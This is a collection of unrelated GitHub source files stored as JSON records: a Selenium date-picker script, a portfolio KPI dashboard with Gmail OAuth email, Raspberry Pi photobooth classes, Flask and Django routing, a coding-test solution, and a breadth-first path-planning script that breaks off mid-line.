+{"seq_id":"7422815592","text":"import datetime\nimport time\nfrom selenium import webdriver\nfrom selenium.webdriver import Keys, ActionChains\nfrom selenium.webdriver.chrome.service import Service\nfrom selenium.webdriver.common.by import By\n\noptions = webdriver.ChromeOptions()\noptions.add_experimental_option(\"detach\", True)\ng = Service('C:\\\\Users\\\\Влад\\\\PycharmProjects\\\\pythonProject1\\\\chromedriver.exe')\ndriver_g = webdriver.Chrome(options=options, service=g)\nbase_url = 'https://demoqa.com/date-picker'\ndriver_g.get(base_url)\ndriver_g.maximize_window()\n\nnew_date = driver_g.find_element(By.XPATH, '//*[@id=\"datePickerMonthYearInput\"]')\nnew_date.click()\ntime.sleep(2)\nnew_date.send_keys(Keys.CONTROL + \"a\")\nnew_date.send_keys(Keys.BACKSPACE) #Чистим строку\ntime.sleep(2)\n\nadding_datetime = datetime.datetime.today() + datetime.timedelta(days=10) # Текущая дата + добавляем 10 дней\nprint(adding_datetime)\nadded_time = adding_datetime.strftime(\"%m/%d/%Y\") #Меняем формат записываемой даты\nprint(added_time)\nnew_date.send_keys(added_time)\n\n\n\n","repo_name":"TiinaLord/Vlad.Remets","sub_path":"pythonProject1/date_picker_with_datetime.py","file_name":"date_picker_with_datetime.py","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"8907020497","text":"import argparse\nimport os\nimport yaml\nimport pandas as pd\nfrom datetime import datetime\nfrom dashboard import get_portfolio_prices, get_indirect_positions, calculate_kpis_portfolio_level, \\\n    calculate_kpis_asset_level\nfrom styles import style_df, style_indirect_holdings_df\nfrom oauth2 import get_oauth_token_and_update_config\nfrom send_email import create_email_message, send_email_message_oauth\nfrom get_portfolio_df import get_google_sheet_df\nfrom utils import set_heroku_config_var\n\n\ndef create_html_tables(\n        df: pd.DataFrame,\n        csv_schema: dict,\n        testing: bool,\n        date_to_use: str,\n        tax_rate: float,\n        tickers_to_replace: dict\n):\n    # get prices\n    portfolio_with_prices = get_portfolio_prices(df, csv_schema, testing=testing, testing_date=date_to_use)\n\n    # calculate kpis for the portfolio at asset level\n    portfolio_with_kpis = calculate_kpis_asset_level(portfolio_with_prices, tax_rate, testing=testing,\n                                                     testing_date=date_to_use)\n\n    # calculate kpis for the portfolio globally\n    portfolio_global_kpis = calculate_kpis_portfolio_level(portfolio_with_kpis)\n    portfolio_global_kpis_df = pd.DataFrame.from_dict(portfolio_global_kpis, orient='index').rename(\n        columns={0: date_to_use}\n    )\n\n    # calculate kpis for the indirect positions\n    portfolio_indirect_positions = get_indirect_positions(portfolio_with_kpis,\n                                                          tickers_to_replace,\n                                                          testing=testing,\n                                                          testing_date=date_to_use)\n\n    # styling and saving as html\n    amount_cols = [\n        'Starting capital',\n        'Costs paid so far',\n        'Capital after liquidating pre-tax',\n        'Capital after liquidating post-tax'\n    ]\n    pct_cols = [\n        'ROC per annum post-tax'\n    ]\n    portfolio_global_kpis_df_html = style_df(portfolio_global_kpis_df, amount_cols=amount_cols, pct_cols=pct_cols,\n                                             row_wise_style=True).render()\n    print('Saving global portfolio results...')\n    with open(\"html_outputs/portfolio_global_kpis.html\", \"w\") as file:\n        file.write(portfolio_global_kpis_df_html)\n\n    amount_cols = [\n        'entry_price',\n        'entry_cost',\n        'annual_cost',\n        'exit_cost_fixed_fee',\n        'dividends_received',\n        'dividends_costs',\n        'lastyears_price',\n        'yesterdays_price',\n        'todays_price',\n        'entry_value',\n        'current_value',\n        'exit_cost_total',\n        'net_gain_ex_dividend_pre_tax',\n        'tax_on_gain',\n        'annual_costs_paid',\n        'net_gain_ex_dividend',\n        'net_gain'\n    ]\n    pct_cols = [\n        'exit_cost_pct',\n        '1_day_roa',\n        'per_annum_roa_ex_dividends',\n        'per_annum_roa'\n    ]\n    date_cols = [\n        'entry_date',\n        'today_dt'\n    ]\n    float_cols = [\n        'holdings',\n        'years_since_entry'\n    ]\n    portfolio_with_kpis_html = style_df(portfolio_with_kpis.T, amount_cols=amount_cols, pct_cols=pct_cols,\n                                        date_cols=date_cols, float_cols=float_cols, row_wise_style=True).render()\n    print('Saving asset level results...')\n    with open(\"html_outputs/portfolio_with_kpis.html\", \"w\") as file:\n        file.write(portfolio_with_kpis_html)\n\n    amount_cols = [\n        'Value'\n    ]\n    pct_cols = [\n        'Pct',\n        '∆ daily',\n        '∆ annual'\n    ]\n    bar_cols = [\n        'Value',\n        '∆ daily',\n        '∆ annual'\n    ]\n    str_cols = [\n        'Ticker',\n        'Name'\n    ]\n    portfolio_indirect_positions_html = style_indirect_holdings_df(portfolio_indirect_positions,\n                                                                   amount_cols=amount_cols,\n                                                                   pct_cols=pct_cols,\n                                                                   bar_cols=bar_cols,\n                                                                   str_cols=str_cols\n                                                                   ).render()\n    print('Saving indirect positions results...')\n    with open(\"html_outputs/portfolio_indirect_positions.html\", \"w\") as file:\n        file.write(portfolio_indirect_positions_html)\n    print('Done.')\n\n\ndef main():\n    parser = argparse.ArgumentParser(description=\"Produce simple portfolio KPIs for a given portfolio\")\n    parser.add_argument(\"config\", type=str, help=\"The path to a config yaml required to run the program\")\n    parser.add_argument(\"--testdate\", type=lambda s: datetime.strptime(s, '%Y-%m-%d'), help=\"Add a dummy date to test \"\n                                                                                            \"the program\")\n    parser.add_argument(\"--local\", action='store_true', help=\"Perform local test. You'll be prompted to input env vars.\")\n    parser.add_argument(\"--dummy\", action='store_true',\n                        help=\"Perform test on dummy portfolio file.\")\n    args = parser.parse_args()\n\n    # Initial setup based on the configuration file\n    with open(args.config) as f:\n        config = yaml.load(f, Loader=yaml.FullLoader)\n\n    csv_schema = config['portfolio_file']['schema_fields']\n    tax_rate = config['parameters']['tax_rate']\n    tickers_to_replace = config['tickers_to_replace']\n\n    # check if it is a local test to setup the necessary env vars, otherwise assumes vars will be set already\n    # note: in local mode google refresh token is assumed to be empty\n    if args.local:\n        with open('./configs/vars.yaml') as local_f:\n            local_config = yaml.load(local_f, Loader=yaml.FullLoader)\n            sender_email = local_config['SENDER_EMAIL']\n            receiver_email = local_config['RECEIVER_EMAIL']\n            google_client_id = local_config['GOOGLE_CLIENT_ID']\n            google_client_secret = local_config['GOOGLE_CLIENT_SECRET']\n            google_refresh_token = local_config['GOOGLE_REFRESH_TOKEN']\n            if args.dummy:\n                google_sheet_id = local_config['GOOGLE_SHEET_DUMMY_ID']\n            else:\n                google_sheet_id = local_config['GOOGLE_SHEET_ID']\n    else:\n        try:\n            sender_email = os.environ['SENDER_EMAIL']\n            receiver_email = os.environ['RECEIVER_EMAIL']\n            google_client_id = os.environ['GOOGLE_CLIENT_ID']\n            google_client_secret = os.environ['GOOGLE_CLIENT_SECRET']\n            google_refresh_token = os.environ['GOOGLE_REFRESH_TOKEN']\n            google_sheet_id = os.environ['GOOGLE_SHEET_ID']\n        except KeyError as err:\n            print(f'Environment variable not available: {err}')\n            exit()\n\n    # get access token or refresh token\n    refresh_token, access_token, auth_string = get_oauth_token_and_update_config(\n        sender_email,\n        google_client_id,\n        google_client_secret,\n        google_refresh_token\n    )\n\n    # set refresh token environment variables\n    if args.local:\n        local_config['GOOGLE_REFRESH_TOKEN'] = refresh_token\n        with open('./configs/vars.yaml', 'w') as change_local_config:\n            yaml.dump(local_config, change_local_config)\n    else:\n        set_heroku_config_var('GOOGLE_REFRESH_TOKEN', refresh_token)\n\n    # read portfolio dataframe from google sheets\n    df_pfolio = get_google_sheet_df(access_token, google_sheet_id)\n\n    if args.testdate is not None:\n        testing = True\n        date_to_use = args.testdate\n    else:\n        testing = False\n        date_to_use = datetime.today().strftime('%Y-%m-%d')\n\n    # create the html table outputs\n    create_html_tables(df_pfolio, csv_schema, testing, date_to_use, tax_rate, tickers_to_replace)\n\n    # send email\n    message = create_email_message(sender_email, receiver_email, date_to_use)\n    send_email_message_oauth(message, sender_email, receiver_email, google_client_id, auth_string)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"aglcorreia/tick-dashboard","sub_path":"src/run_dashboard.py","file_name":"run_dashboard.py","file_ext":"py","file_size_in_byte":8027,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"12675016384","text":"from time import sleep\n\nimport picamera\nimport RPi.GPIO as gpio\nfrom PIL import Image\n\nfrom photologging import Logging\n\nlog = Logging()\n\n\nclass PushButton:\n    ''' A class handling the response from push button connected to GPIO in RaspberryPi\n\n    Attributes\n    ------------\n    buttonbcm : int\n        number of GPIO pin to which button is connected in BCM numbering\n    autopress : bool\n        whether the button should be pressed automatically (for testing)\n    waspressed : bool\n        flag to use outside class indicating whether button has been pressed\n\n    Methods\n    ------------\n    detect_press()\n        starts event from RPi.GPIO library that monitors for press and assigns set_press as event callback\n    set_pressed()\n        sets waspressed flag, removes event detection RPi.GPIO library for the button\n    close()\n        triggers set_pressed() and releases the GPIO slot assignment\n    '''\n\n    def __init__(self, buttonbcm=17, autopress=False):\n        self.buttonbcm = buttonbcm\n        self.autopress = autopress\n        self.waspressed = False\n        gpio.setmode(gpio.BCM)\n        gpio.setup(self.buttonbcm, gpio.IN, pull_up_down=gpio.PUD_UP)\n\n    def detect_press(self):\n        if self.autopress:\n            self.waspressed = True\n        else:\n            self.waspressed = False\n            gpio.add_event_detect(self.buttonbcm, gpio.FALLING,\n                                  callback=lambda x: self.set_pressed(), bouncetime=300)\n            log.append(\"waits for press\")\n\n    def set_pressed(self):\n        sleep(0.1)\n        if gpio.input(self.buttonbcm):\n            log.append(\"false trigger\")\n            return\n        self.waspressed = True\n        log.append(\"button pressed\")\n        gpio.remove_event_detect(self.buttonbcm)\n\n    def close(self):\n        self.set_pressed()\n        gpio.cleanup(self.buttonbcm)\n\n\nclass LedButton:\n    ''' A class handling the behaviour of LED (possibly inside the button) connected to GPIO in RaspberryPi\n\n    Attributes\n    ------------\n    buttonbcm : int\n        number of GPIO pin to which button is connected in BCM numbering\n\n    Methods\n    ------------\n    single_blink(halfperiod=0.5)\n        performs single blink (on for halfperiod seconds, and off for halfperiod seconds)\n    turn_on(time=0.0)\n        turns LED on; if time (in seconds) > 0, turns LED off after that time\n    turn_off(time=0.0)\n        turns LED off; if time (in seconds) > 0, turns LED on after that time\n    close()\n        turn LED off and releases the GPIO slot assignment\n    '''\n\n    def __init__(self, buttonbcm=4):\n        self.buttonbcm = buttonbcm\n        gpio.setmode(gpio.BCM)\n        gpio.setup(self.buttonbcm, gpio.OUT, initial=gpio.LOW)\n\n    def single_blink(self, halfperiod=0.5):\n        self.turn_on(time=halfperiod)\n        sleep(halfperiod)\n\n    def turn_on(self, time=0.0):\n        gpio.output(self.buttonbcm, 1)\n        if time:\n            sleep(time)\n            self.turn_off()\n\n    def turn_off(self, time=0.0):\n        gpio.output(self.buttonbcm, 0)\n        if time:\n            sleep(time)\n            self.turn_on()\n\n    def close(self):\n        self.turn_off()\n        gpio.cleanup(self.buttonbcm)\n\n\nclass Camera:\n    ''' A class handling the PiCamera Display for the Photobooth\n\n    Attributes\n    ------------\n    config : dict\n        config file for camera and function paramters\n    currfilter : int\n        number of camera filter (from config) recently used\n    filterlen : int\n        length of list with camera filters\n    camera.rotation : int\n        rotation of camera preview\n    camera.annotate_text_size : int\n        text size for camera annotations\n    camera.resolution : (int,int)\n        resolution of the camera preview\n\n    Methods\n    ------------\n    set_transparent()\n        sets the camera preview (layer 2) transparent\n    set_opaque()\n        sets the camera preview (layer 2) opaque\n    overlay_image(im, duration=0, layer=3)\n        adds overlay from image above the camera preview\n    remove_overlay(overlay_id=None)\n        removes overlay from camera display\n    take_photo(target='', iffilter=False)\n        displays camera preview with preparation countdown, takes a single photo and writes it to file\n    img_preview(imglist=None)\n        displays preview of the captured photos\n    close()\n        stops camera preview\n    '''\n\n    def __init__(self, config):\n        log.append(\"camera start\")\n        self.config = config\n        self.currfilter = -1\n        self.filterlen = len(self.config['filters'])\n        picamera.PiCamera.CAPTURE_TIMEOUT = 60  # seconds\n        try:\n            self.camera = picamera.PiCamera()\n        except Exception as e:\n            log.append(\"error initializing the camera - exiting\")\n            log.append(\" \".join(str(e).splitlines()))\n            raise SystemExit\n        self.camera.rotation = 0\n        self.camera.annotate_text_size = 80\n        self.camera.resolution = self.config['photo_wh']\n        self.camera.start_preview(resolution=self.config['screen_wh'])\n\n    def set_transparent(self):\n        self.camera.preview.alpha = 0\n\n    def set_opaque(self):\n        self.camera.preview.alpha = 255\n\n    def overlay_image(self, im, duration=0, layer=3):\n        '''adds overlay from image above the camera preview\n\n        Parameters\n        -----------\n        im : str\n            path to image file\n        duration : int, optional\n            time in second after which overlay is removed\n        layer : int, optional\n            number of layer for overlay placement\n        Returns\n        picamera.PiOverlayRenderer\n            a picamera.PiOverlayRenderer instance for created overlay\n        '''\n\n        if not im:\n            return None\n        img = Image.open(im)\n        # Create an image padded to the required size with\n        # mode 'RGB'\n        pad = Image.new('RGB', (\n            ((img.size[0] + 31) // 32) * 32,\n            ((img.size[1] + 15) // 16) * 16,\n        ))\n        # Paste the original image into the padded one\n        pad.paste(img, (0, 0))\n        # Add the overlay with the padded image as the source,\n        # but the original image's dimensions\n        try:\n            o_id = self.camera.add_overlay(pad.tobytes(), size=img.size)\n        except AttributeError:\n            o_id = self.camera.add_overlay(pad.tostring(), size=img.size)\n        o_id.layer = layer\n        if duration > 0:\n            sleep(duration)\n            self.camera.remove_overlay(o_id)\n            return None\n        else:\n            return o_id\n\n    def remove_overlay(self, overlay_id=None):\n        if overlay_id:\n            self.camera.remove_overlay(overlay_id)\n\n    def take_photo(self, target='', iffilter=False):\n        '''displays camera preview with preparation countdown, takes a single photo and writes it to file\n\n        Parameters\n        ------------\n        target : str\n            address to store the photo\n        iffilter : bool, optional\n            whether to apply one of the camera filters\n        '''\n\n        if not target:\n            return\n        log.append(\"filter \" + str(iffilter))\n        if iffilter:\n            self.currfilter += 1\n            if self.currfilter >= self.filterlen:\n                self.currfilter -= self.filterlen\n            log.append(\"filter \" + self.config['filters'][self.currfilter])\n            self.camera.image_effect = self.config['filters'][self.currfilter]\n        for i in range(self.config['photo_countdown_time'], 0, -1):\n            self.camera.annotate_text = \"             ...\" + str(i)\n            sleep(1)\n        self.camera.annotate_text = \"\"\n        self.camera.capture(target)\n        self.camera.image_effect = 'none'\n\n    def img_preview(self, imglist=None, ov=False):\n        '''displays preview of the captured photos\n\n        Parameters\n        ------------\n        imglist : list\n            list of strings with images locations\n        '''\n\n        if not self.config['noprev']:\n            ov_list = []\n            i = 0\n            for photo in imglist:\n                this_overlay = self.overlay_image(photo, 0, 3 + i)\n                ov_list.append(this_overlay)\n                i += 1\n                sleep(self.config['photo_playback_time'])\n            for ov in ov_list:\n                self.remove_overlay(ov)\n\n    def close(self):\n        self.camera.stop_preview()\n","repo_name":"akelm/photobooth","sub_path":"photoutils.py","file_name":"photoutils.py","file_ext":"py","file_size_in_byte":8359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"23125241456","text":"from flask import render_template, url_for, flash, redirect, request, Blueprint, session\nfrom flask_security import login_required, current_user, roles_required, roles_accepted\nfrom app.product.models import Product\nimport json\n\nhome = Blueprint('home', __name__,\n                 template_folder='templates')\n            \n@home.route('/')\ndef index():\n    products = Product.query.all()\n    return render_template('home.html', title='Brea Fragances - Home', products=products)\n\n@home.route('/products')\n@login_required\ndef products():\n    products = Product.query.all()\n    return render_template('allProducts.html', title='Products', products=products)\n\n@home.route('/add/<int:product_id>', methods=['POST'])\n@login_required\n@roles_accepted('customer')\ndef add(product_id):\n    cart = session.get('cart')\n    product = Product.query.get(product_id).__dict__\n    if not cart:\n        cart = []\n        cart.append({'product': product, 'quantity': 1})\n    else:\n        result = next((item for item in cart if item[\"product\"]['id'] == product_id), False)\n        if result:\n            result['quantity'] += 1\n        else:\n            cart.append({'product': product, 'quantity': 1})\n    session['cart'] = cart\n    flash('Producto agregado al carrito', 'success')\n    return redirect(request.form.get(\"url\"))\n\n\n@home.route('/edit-quantity/<int:product_id>', methods=['POST'])\n@login_required\n@roles_accepted('customer')\ndef edit_quantity(product_id):\n    cart = session.get('cart')\n    if cart:\n        result = next((item for item in cart if item[\"product\"]['id'] == product_id), False)\n        if result:\n            result['quantity'] = int(request.form.get(\"quantity\"))\n    return redirect(url_for('customer.cart'))\n\n\n@home.route('/remove/<int:product_id>', methods=['GET'])\n@login_required\n@roles_accepted('customer')\ndef remove(product_id):\n    cart = session.get('cart')\n    if cart:\n        result = next((item for item in cart if item[\"product\"]['id'] == product_id), False)\n        if result:\n            cart.remove(result)\n    return redirect(url_for('customer.cart'))\n\n\n","repo_name":"IDGS-904-20001399/brea-fragances","sub_path":"app/home/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":2084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"69840270727","text":"def solution(progresses, speeds):\n    answer = []\n    arr = []\n    for i in range(len(progresses)):\n        k = 100 - progresses[i]\n        if k % speeds[i] == 0:\n            arr.append(int(k / speeds[i]))\n        else:\n            arr.append(int(k / speeds[i]) + 1)\n\n    a = arr[0]\n    cnt = 1\n    for i in range(1, len(arr)):\n        if a >= arr[i]:\n            cnt += 1\n        else:\n            answer.append(cnt)\n            cnt = 1\n            a = arr[i]  # 이 부분이 빠져서 틀렸었음..!!!\n    answer.append(cnt)\n\n    return answer\n","repo_name":"YOOBINNOH/Hana_Algorithm_Study","sub_path":"민새미/[08.18] 기능개발.py","file_name":"[08.18] 기능개발.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"71953135689","text":"from django.urls import path, include\nfrom rest_framework import routers\nfrom .views import *\n\nrouter = routers.DefaultRouter()\nrouter.register(r'barrios', BarrioSerializerViewSet)\nrouter.register(r'personas', PersonaSerializerViewSet)\nrouter.register(r'locales_repuestos', LocalesRepuestosSerializerViewSet)\nrouter.register(r'locales_comidas', LocalesComidaViewSet)\n\n\nurlpatterns = [\npath('api/', include(router.urls)),\n    path(\"LocalesRepuestoss\", ListLocalesRepuestos.as_view(), name=\"list_LocalesRepuestoss\"),\n\n    path(\"create/LocalesRepuestos\", LocalesRepuestos_create, name=\"LocalesRepuestos_create\"),\n    path(\"edit/LocalesRepuestos/<int:id>\", LocalesRepuestos_edit, name=\"LocalesRepuestos_edit\"),\n    path('eliminar/LocalesRepuestos/<int:id>', eliminar_LocalesRepuestos,\n         name='eliminar_local_repuestos'),\n\n    path(\"\", ListLocalesComida.as_view(), name=\"list_LocalesComidas\"),\n\n    path(\"create/LocalesComida\", LocalesComida_create, name=\"LocalesComida_create\"),\n    path(\"edit/LocalesComida/<int:id>\", LocalesComida_edit, name=\"LocalesComida_edit\"),\n    path('eliminar/LocalesComida/<int:id>', eliminar_LocalesComida,\n         name='eliminar_local_comida'),\n]\n","repo_name":"PlataformasWeb-P-AA2023/trabajo-final-2bim-DenisCuenca","sub_path":"proyecto-django/locales/locales_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1180,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"27623499713","text":"# Importing required libraries\nimport numpy as np\nimport cv2\n\n# Creating a blank image of scale 3X\nblank_image = np.zeros((900, 1200, 3), np.uint8)\n\n# Assigning all values as gray\nblank_image[:, :] = (128, 128, 128)  # (B, G, R)\n\ncalc_arr = np.zeros((300, 400), dtype='int')\nx_max = calc_arr.shape[0]\ny_max = calc_arr.shape[1]\n\n\n# Function to cvt point to opencv image\ndef plot_point(r, l):\n    blank_image[r * 3:(r + 1) * 3, l * 3:(l + 1) * 3] = (255, 0, 0)\n\n\n# Function to convert list to string\ndef cvt_str(point_given):\n    string = ''\n    point_cpy = point_given[:]\n    point_cpy[0] = \"{0:0=3d}\".format(int(point_cpy[0]))\n    point_cpy[1] = \"{0:0=3d}\".format(int(point_cpy[1]))\n    string = string + str(point_cpy[0]) + str(point_cpy[1])\n    return string\n\n\n# Functions for each obstacle\ndef in_ellipse_obst(y, x):\n    y = 300 - y\n    if (((x - 246) ** 2) / (60 * 60) + ((y - 145) ** 2) / (30 * 30)) <= 1:\n        return True\n    else:\n        return False\n\n\ndef in_rectangle_obst(y, x):\n    y = 300 - y\n    if (y - 0.7 * x - 74.4 >= 0) and (y - 0.7 * x - 90.8 <= 0) and (y + 1.43 * x - 176.64 >= 0) and \\\n            (y + 1.43 * x - 438.64 <= 0):\n        return True\n    else:\n        return False\n\n\ndef in_circle_obst(y, x):\n    y = 300 - y\n    if (x - 90) ** 2 + (y - 70) ** 2 <= (35 * 35):\n        return True\n    else:\n        return False\n\n\ndef in_c_obst(y, x):\n    if (200 <= x <= 210 and 20 <= y <= 70) or (210 <= x <= 230 and 60 <= y <= 70) or \\\n            (210 <= x <= 230 and 20 <= y <= 30):\n        return True\n    else:\n        return False\n\n\ndef in_blob_obst1(y, x):\n    y = 300 - y\n    if (y + (42 / 43) * x - (16485 / 43) >= 0) and (y - x + 265 >= 0) and (x <= 355) and (y - x + 180 <= 0) and (\n            y + (7 / 29) * x - (6480 / 29) <= 0):\n        return True\n    else:\n        return False\n\n\ndef in_blob_obst2(y, x):\n    y = 300 - y\n    if (y - x + 265 >= 0) and (y - x + 216 <= 0) and (x >= 353) and (x <= 381):\n        return True\n    else:\n        return False\n\n\n# Function for each obstacle for coloring visited nodes\ndef in_ellipse_obst_(y, x):\n    y = 300 - y\n    if (((x - 246) ** 2) / (60 * 60) + ((y - 145) ** 2) / (30 * 30)) < 1:\n        return True\n    else:\n        return False\n\n\ndef in_rectangle_obst_(y, x):\n    y = 300 - y\n    if (y - 0.7 * x - 74.4 > 0) and (y - 0.7 * x - 90.8 < 0) and (y + 1.43 * x - 176.64 > 0) and \\\n            (y + 1.43 * x - 438.64 < 0):\n        return True\n    else:\n        return False\n\n\ndef in_circle_obst_(y, x):\n    y = 300 - y\n    if (x - 90) ** 2 + (y - 70) ** 2 < (35 * 35):\n        return True\n    else:\n        return False\n\n\ndef in_c_obst_(y, x):\n    if (199 < x < 211 and 19 < y < 71) or (210 < x < 231 and 59 < y < 71) or \\\n            (210 < x < 231 and 19 < y < 31):\n        return True\n    else:\n        return False\n\n\ndef in_blob_obst1_(y, x):\n    y = 300 - y\n    if (y + (42 / 43) * x - (16485 / 43) > 0) and (y - x + 265 > 0) and (x < 356) and (y - x + 180 < 0) and (\n            y + (7 / 29) * x - (6480 / 29) < 0):\n        return True\n    else:\n        return False\n\n\ndef in_blob_obst2_(y, x):\n    y = 300 - y\n    if (y - x + 265 > 0) and (y - x + 216 < 0) and (x > 353) and (x < 382):\n        return True\n    else:\n        return False\n\n\n# FUnction to check if the function is valid or not\ndef check_validity(pointer):\n    if in_ellipse_obst_(pointer[0], pointer[1]) or in_circle_obst_(pointer[0], pointer[1]) or \\\n            in_blob_obst1_(pointer[0], pointer[1]) or (in_blob_obst2_(pointer[0], pointer[1])) or in_rectangle_obst_(\n        pointer[0], pointer[1]) or in_c_obst_(pointer[0], pointer[1]):\n        return False\n    else:\n        return True\n\n\n# Function to generate possible node form given point\ndef possible_moves(current_position):\n    x = current_position[0]\n    y = current_position[1]\n\n    # All points\n    if x != 0 and y != 0 and x != x_max and y != y_max:\n        legal_actions = [(1, 0), (-1, 0), (0, 1), (0, -1), (1, 1), (-1, 1), (1, -1), (-1, -1)]\n\n    # Top side\n    if x == 0 and (y != 0 or y != y_max):\n        legal_actions = [(0, -1), (1, -1), (1, 0), (1, 1), (0, 1)]\n\n    # Left side\n    if y == 0 and (x != 0 or x != x_max):\n        legal_actions = [(-1, 0), (-1, 1), (0, 1), (1, 0), (1, 1)]\n\n    # Bottom side\n    if x == x_max and (y != 0 or y != y_max):\n        legal_actions = [(0, -1), (-1, -1), (-1, 0), (-1, 1), (0, 1)]\n\n    # Right side\n    if y == y_max and (x != 0 or x != x_max):\n        legal_actions = [(1, 0), (-1, 0), (0, -1), (-1, -1), (1, -1)]\n\n    # Top right corner\n    if x == 0 and y == 0:\n        legal_actions = [(1, 0), (1, 1), (0, 1)]\n\n    # Bottom right corner\n    if x == x_max and y == y_max:\n        legal_actions = [(0, -1), (-1, -1), (-1, 0)]\n\n    # Top left corner\n    if x == 0 and y == y_max:\n        legal_actions = [(0, -1), (1, -1), (1, 0)]\n\n    # Bottom left corner\n    if x == x_max and y == 0:\n        legal_actions = [(-1, 0), (-1, 1), (0, 1)]\n\n    return legal_actions\n\n\n# FUnction to apply the possible move\ndef move_point(current_pos, legal_move_given):\n    p = legal_move_given[0]\n    q = legal_move_given[1]\n    current_pos_op = [0, 0]\n    current_pos_op[0] = current_pos[0] + p\n    current_pos_op[1] = current_pos[1] + q\n    return [current_pos_op[0], current_pos_op[1]]\n\n\n# Taking user input and commenting if its valid or not\nflag = True\nwhile flag:\n    print('Enter the initial position...')\n    xi = int(input(\"Enter your value of X-Axis: \"))\n    yi = int(input(\"Enter your value of Y-Axis: \"))\n    print('Enter the goal position...')\n    xg = int(input(\"Enter your value of X-Axis: \"))\n    yg = int(input(\"Enter your value of Y-Axis: \"))\n    init = [yi, xi]\n    goal = [yg, xg]\n    if check_validity(init) and check_validity(goal):\n        flag = False\n    else:\n        print(\"Either point is in obstacle space\")\n\n# Initiate the variables\nplot_point(init[0], init[1])\nplot_point(goal[0], goal[1])\ngoal_str = cvt_str(goal)\nvisited = set()\nvisited.add(cvt_str(init))\nleft_to_check = []\nparent_index = 0\nindex = 0\nchild = []\ntree_list = [[parent_index, init]]\nnot_solved = True\n\n# Creating obstacle on image\nfor i in range(300):\n    for j in range(400):\n        if in_ellipse_obst(i, j):\n            blank_image[i * 3:(i + 1) * 3, j * 3:(j + 1) * 3] = (0, 0, 0)\n        if in_circle_obst(i, j):\n            blank_image[i * 3:(i + 1) * 3, j * 3:(j + 1) * 3] = (0, 0, 0)\n        if in_rectangle_obst(i, j):\n            blank_image[i * 3:(i + 1) * 3, j * 3:(j + 1) * 3] = (0, 0, 0)\n        if in_c_obst(i, j):\n            blank_image[i * 3:(i + 1) * 3, j * 3:(j + 1) * 3] = (0, 0, 0)\n        if in_blob_obst1(i, j):\n            blank_image[i * 3:(i + 1) * 3, j * 3:(j + 1) * 3] = (0, 0, 0)\n        if in_blob_obst2(i, j):\n            blank_image[i * 3:(i + 1) * 3, j * 3:(j + 1) * 3] = (0, 0, 0)\n\n# Generate first layer manually\nlegal_moves = possible_moves(init)\n# print(move_point(init, legal_moves[0]))\nfor i in range(len(legal_moves)):\n    possible_node = move_point(init, legal_moves[i])\n    possible_node_string = cvt_str(possible_node)\n    if check_validity(possible_node):\n        if possible_node_string in visited:\n            continue\n        else:\n            visited.add(possible_node_string)\n            index = index + 1\n            tree_list.append([parent_index, possible_node])\n            left_to_check.append(possible_node)\n            if not in_ellipse_obst_(possible_node[0], possible_node[1]):\n                blank_image[possible_node[0] * 3:(int(possible_node[0]) + 1) * 3,\n                possible_node[1] * 3:(possible_node[1] + 1) * 3] = (0, 0, 255)\n            if not in_circle_obst_(possible_node[0], possible_node[1]):\n                blank_image[possible_node[0] * 3:(int(possible_node[0]) + 1) * 3,\n                possible_node[1] * 3:(possible_node[1] + 1) * 3] = (0, 0, 255)\n            if not in_rectangle_obst_(possible_node[0], possible_node[1]):\n                blank_image[possible_node[0] * 3:(int(possible_node[0]) + 1) * 3,\n                possible_node[1] * 3:(possible_node[1] + 1) * 3] = (0, 0, 255)\n            if not in_c_obst_(possible_node[0], possible_node[1]):\n                blank_image[possible_node[0] * 3:(int(possible_node[0]) + 1) * 3,\n                possible_node[1] * 3:(possible_node[1] + 1) * 3] = (0, 0, 255)\n            if not in_blob_obst1_(possible_node[0], possible_node[1]):\n                blank_image[possible_node[0] * 3:(int(possible_node[0]) + 1) * 3,\n                possible_node[1] * 3:(possible_node[1] + 1) * 3] = (0, 0, 255)\n            if not in_blob_obst2_(possible_node[0], possible_node[1]):\n                blank_image[possible_node[0] * 3:(int(possible_node[0]) + 1) * 3,\n                possible_node[1] * 3:(possible_node[1] + 1) * 3] = (0, 0, 255)\n\n    possible_node = [0, 0]\n\n# Creating a loop til we reach node\nwhile not_solved:\n    current_point = left_to_check.pop(0)\n    parent_index = parent_index + 1\n    legal_moves = possible_moves(current_point)\n    for i in range(len(legal_moves)):\n        possible_node = move_point(current_point, legal_moves[i])\n        possible_node_string = cvt_str(possible_node)\n        if check_validity(possible_node):\n            if possible_node_string in visited:\n                continue\n            else:\n                visited.add(possible_node_string)\n                index = index + 1\n                tree_list.append([parent_index, possible_node])\n                left_to_check.append(possible_node)\n                if not in_ellipse_obst_(possible_node[0], possible_node[1]):\n                    blank_image[possible_node[0] * 3:(int(possible_node[0]) + 1) * 3,\n                    possible_node[1] * 3:(possible_node[1] + 1) * 3] = (0, 0, 255)\n                if not in_circle_obst_(possible_node[0], possible_node[1]):\n                    blank_image[possible_node[0] * 3:(int(possible_node[0]) + 1) * 3,\n                    possible_node[1] * 3:(possible_node[1] + 1) * 3] = (0, 0, 255)\n                if not in_rectangle_obst_(possible_node[0], possible_node[1]):\n                    blank_image[possible_node[0] * 3:(int(possible_node[0]) + 1) * 3,\n                    possible_node[1] * 3:(possible_node[1] + 1) * 3] = (0, 0, 255)\n                if not in_c_obst_(possible_node[0], possible_node[1]):\n                    blank_image[possible_node[0] * 3:(int(possible_node[0]) + 1) * 3,\n                    possible_node[1] * 3:(possible_node[1] + 1) * 3] = (0, 0, 255)\n                if not in_blob_obst1(possible_node[0], possible_node[1]):\n                    blank_image[possible_node[0] * 3:(int(possible_node[0]) + 1) * 3,\n                    possible_node[1] * 3:(possible_node[1] + 1) * 3] = (0, 0, 255)\n                if not 